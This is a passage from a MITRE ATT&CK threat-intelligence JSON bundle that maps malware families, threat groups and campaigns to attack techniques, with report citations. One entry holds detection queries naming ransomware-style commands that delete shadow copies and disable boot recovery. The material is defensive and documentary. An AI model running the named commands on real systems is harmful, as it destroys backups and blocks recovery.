2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--018ed869-7916-41c3-b60b-818bac4e6ce5","created":"2024-08-20T19:04:14.836Z","revoked":false,"external_references":[{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T19:04:14.836Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) staged compromised versions of legitimate software installers in forums to enable initial access to executing user.(Citation: mandiant_apt44_unearthing_sandworm)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0191f3d3-59d3-4fcc-bfff-5fbfa0675cfd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 SeaDuke 2015","description":"Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/"}],"modified":"2020-03-20T17:45:31.244Z","description":"[SeaDuke](https://attack.mitre.org/software/S0053) is capable of executing commands.(Citation: Unit 42 SeaDuke 2015)","relationship_type":"uses","source_ref":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--019abb1f-efcb-4828-9805-4b5a7191170c","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T13:34:03.181Z","description":"Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as `vssadmin`, `wbadmin`, and `bcdedit`. After compromising a network of systems, threat actors often try to delete/resize Shadow Copy in an attempt to prevent administrators from restoring the systems to versions present before the attack. This is often done via vssadmin, a legitimate Windows tool to interact with shadow copies. This action is often employed by ransomware, may lead to a failure in recovering systems after an attack. The pseudo code detection focus on Windows Security and Sysmon process creation (4688 and 1). The use of wmic to delete shadow copy generates WMI-Activity Operationnal 5857 event and could generate 5858 (if the operation fails). These 2 EventIDs could be interesting when attackers use wmic without process creation and/or for forensics.\n\nAnalytic 1 - Detecting Shadow Copy Deletion or Resize\n \n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\")(CommandLine=\"*vssadmin* *delete* *shadows*\" OR CommandLine=\"*wmic* *shadowcopy* *delete*\" OR CommandLine=\"*vssadmin* *resize* *shadowstorage*\")) OR (EventCode=\"5857\" ProviderName=\"MSVSS__PROVIDER\") OR (EventCode=\"5858\" Operation=\"*Win32_ShadowCopy*\")\n\nAnalytic 2 - BCDEdit Failure Recovery Modification\n \n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image= \"C:\\Windows\\System32\\bcdedit.exe\" AND CommandLine=\"*recoveryenabled*\"","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--019e35b8-cec3-45e0-b297-19dca59b3190","created":"2022-01-11T15:20:42.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:53.984Z","description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) can use Native API to create a new process and to start services.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--019eb3cf-35df-4109-a006-1b91331866c3","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.","source_name":"Microsoft SIR Vol 21"},{"url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha","description":"Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.","source_name":"Microsoft Wingbird Nov 2017"}],"modified":"2019-10-30T12:41:28.914Z","description":"[Wingbird](https://attack.mitre.org/software/S0176) drops a malicious file (sspisrv.dll) alongside a copy of lsass.exe, which is used to register a service that loads sspisrv.dll as a driver. The payload of the malicious driver (located in its entry-point function) is executed when loaded by lsass.exe before the spoofed service becomes unstable and crashes.(Citation: Microsoft SIR Vol 21)(Citation: Microsoft Wingbird Nov 2017)","relationship_type":"uses","source_ref":"malware--a8d3d497-2da9-4797-8e0b-ed176be08654","target_ref":"attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01a01a28-19e5-4e32-8a24-a98f2b69ced5","type":"relationship","created":"2020-05-06T21:01:23.656Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.656Z","description":"[Attor](https://attack.mitre.org/software/S0438) has a plugin that enumerates files with specific extensions on all hard disk drives and stores file information in encrypted log files.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01a1c2f4-ccb3-4238-9c9c-d6ca3a098ed9","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2019-04-24T17:52:47.856Z","description":"[Pupy](https://attack.mitre.org/software/S0192) has a built-in module for port scanning.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01a4bef1-5445-4e46-90db-fd4335462be1","created":"2024-09-17T16:09:25.976Z","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T16:09:25.976Z","description":"(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"intrusion-set--13ef3485-70d2-4567-b934-0e83c1eafcf1","target_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01a603b5-a9b1-4567-864d-6dfaa0430057","type":"relationship","created":"2019-07-15T16:18:21.093Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T17:11:01.098Z","description":"Ensure all application component binaries are signed by the correct application developers.","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01aac35b-55e1-40d6-962f-5b5a6efdb2be","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.","url":"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"},{"source_name":"Fidelis TrickBot Oct 2016","description":"Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.","url":"https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre"},{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."},{"source_name":"Eclypsium Trickboot December 2020","url":"https://eclypsium.com/wp-content/uploads/2020/12/TrickBot-Now-Offers-TrickBoot-Persist-Brick-Profit.pdf","description":"Eclypsium, Advanced Intelligence. (2020, December 1). TRICKBOT NOW OFFERS ‘TRICKBOOT’: PERSIST, BRICK, PROFIT. Retrieved March 15, 2021."}],"modified":"2021-03-15T19:28:36.607Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) gathers the OS version, machine name, CPU type, amount of RAM available, and UEFI/BIOS firmware information from the victim’s machine.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: Cyberreason Anchor December 2019)(Citation: Eclypsium Trickboot December 2020)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01ab8fee-5204-40c1-ac7a-b11a5683a87d","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"},{"source_name":"Microsoft DTC","description":"Microsoft. (2011, January 12). Distributed Transaction Coordinator. Retrieved February 25, 2016.","url":"https://technet.microsoft.com/en-us/library/cc759136(v=ws.10).aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T19:53:58.832Z","description":"[Misdat](https://attack.mitre.org/software/S0083) saves itself as a file named `msdtc.exe`, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service binary.(Citation: Cylance Dust Storm)(Citation: Microsoft DTC)","relationship_type":"uses","source_ref":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01b13af3-d241-47ed-b351-e83604c0d92f","type":"relationship","created":"2019-06-28T16:02:08.282Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf","source_name":"ESET LightNeuron May 2019"}],"modified":"2019-07-16T17:12:00.783Z","description":"[LightNeuron](https://attack.mitre.org/software/S0395) has a function to delete files.(Citation: ESET LightNeuron May 2019)","relationship_type":"uses","source_ref":"malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01b475dc-8b42-4cc1-a88b-6081cbc54efd","created":"2024-07-01T21:09:19.067Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T21:09:19.067Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can capture information on group policy settings(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01b542b1-3222-459b-9cdf-b91dcd29c749","type":"relationship","created":"2020-12-28T22:09:15.760Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-28T22:09:15.760Z","description":"[MoleNet](https://attack.mitre.org/software/S0553) can collect information about the about the system.(Citation: Cybereason Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--8a59f456-79a0-4151-9f56-9b1a67332af2","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01b5af07-512b-4b60-ba2d-5c185b80fb5f","created":"2020-10-22T20:25:26.534Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Recorded Future Turla Infra 2020","description":"Insikt Group. (2020, March 12). Swallowing the Snake’s Tail: Tracking Turla Infrastructure. Retrieved September 16, 2024.","url":"https://www.recordedfuture.com/research/turla-apt-infrastructure"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:22:40.020Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has frequently used compromised WordPress sites for C2 infrastructure.(Citation: Recorded Future Turla Infra 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01b924d7-42dd-412f-a9af-cabcb46512ea","type":"relationship","created":"2017-05-31T21:33:27.075Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates","description":"DiMaggio, J. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.","source_name":"Symantec Suckfly March 2016"},{"url":"http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks","description":"DiMaggio, J. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.","source_name":"Symantec Suckfly May 2016"}],"modified":"2019-03-25T16:59:47.296Z","description":"(Citation: Symantec Suckfly March 2016)(Citation: Symantec Suckfly May 2016)","relationship_type":"uses","source_ref":"intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d","target_ref":"malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01b94982-fedb-4469-adf1-7f2a2a9069ea","created":"2024-10-08T20:08:21.605Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T20:08:21.605Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used tools such as Nmap and MASSCAN for remote service discovery.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01b95067-ba65-48c2-8d2c-342e13007cc8","created":"2023-09-27T19:52:33.697Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:30:16.700Z","description":"[NightClub](https://attack.mitre.org/software/S1090) has created a Windows service named `WmdmPmSp` to establish persistence.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01b97c8a-f08c-4f54-a401-14d888ca79b9","type":"relationship","created":"2020-06-26T17:21:35.251Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-26T17:21:35.251Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) has been signed with self signed digital certificates mimicking a legitimate software company.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01bd79bd-651b-46f4-8a2e-dbbedd76f213","created":"2022-09-15T17:35:04.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-15T17:37:29.847Z","description":"During [CostaRicto](https://attack.mitre.org/campaigns/C0004), threat actors used [PowerSploit](https://attack.mitre.org/software/S0194)'s `Invoke-ReflectivePEInjection` module.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6","target_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01bebfd2-6c8c-4671-8754-34ca03c44299","created":"2021-10-01T01:57:31.880Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 Hildegard Malware","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"},{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Intezer TeamTNT September 2020","description":"Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021.","url":"https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.697Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has used open-source tools such as Weave Scope to target exposed Docker API ports and gain initial access to victim environments.(Citation: Intezer TeamTNT September 2020)(Citation: Cisco Talos Intelligence Group) [TeamTNT](https://attack.mitre.org/groups/G0139) has also targeted exposed kubelets for Kubernetes environments.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01c46868-c510-4df1-93fe-31d1fa9eb62e","type":"relationship","created":"2020-10-09T13:41:46.602Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.","url":"https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf","source_name":"Visa FIN6 Feb 2019"}],"modified":"2020-10-09T13:41:46.602Z","description":"(Citation: Visa FIN6 Feb 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--01c60a20-2eff-4b4e-a15a-24e56a487b4e","created":"2019-06-17T18:49:30.438Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro TropicTrooper 2015","description":"Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.","url":"https://documents.trendmicro.com/assets/wp/wp-operation-tropic-trooper.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:24:22.257Z","description":"[YAHOYAH](https://attack.mitre.org/software/S0388) checks for the system’s Windows OS version and hostname.(Citation: TrendMicro TropicTrooper 2015)","relationship_type":"uses","source_ref":"malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01c6d850-03c2-4ed0-ba1d-cf2cc9062106","type":"relationship","created":"2019-05-02T01:07:37.002Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shaheen Nov 2018","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."}],"modified":"2019-06-12T20:05:18.331Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) gathers the username from the system.(Citation: Cylance Shaheen Nov 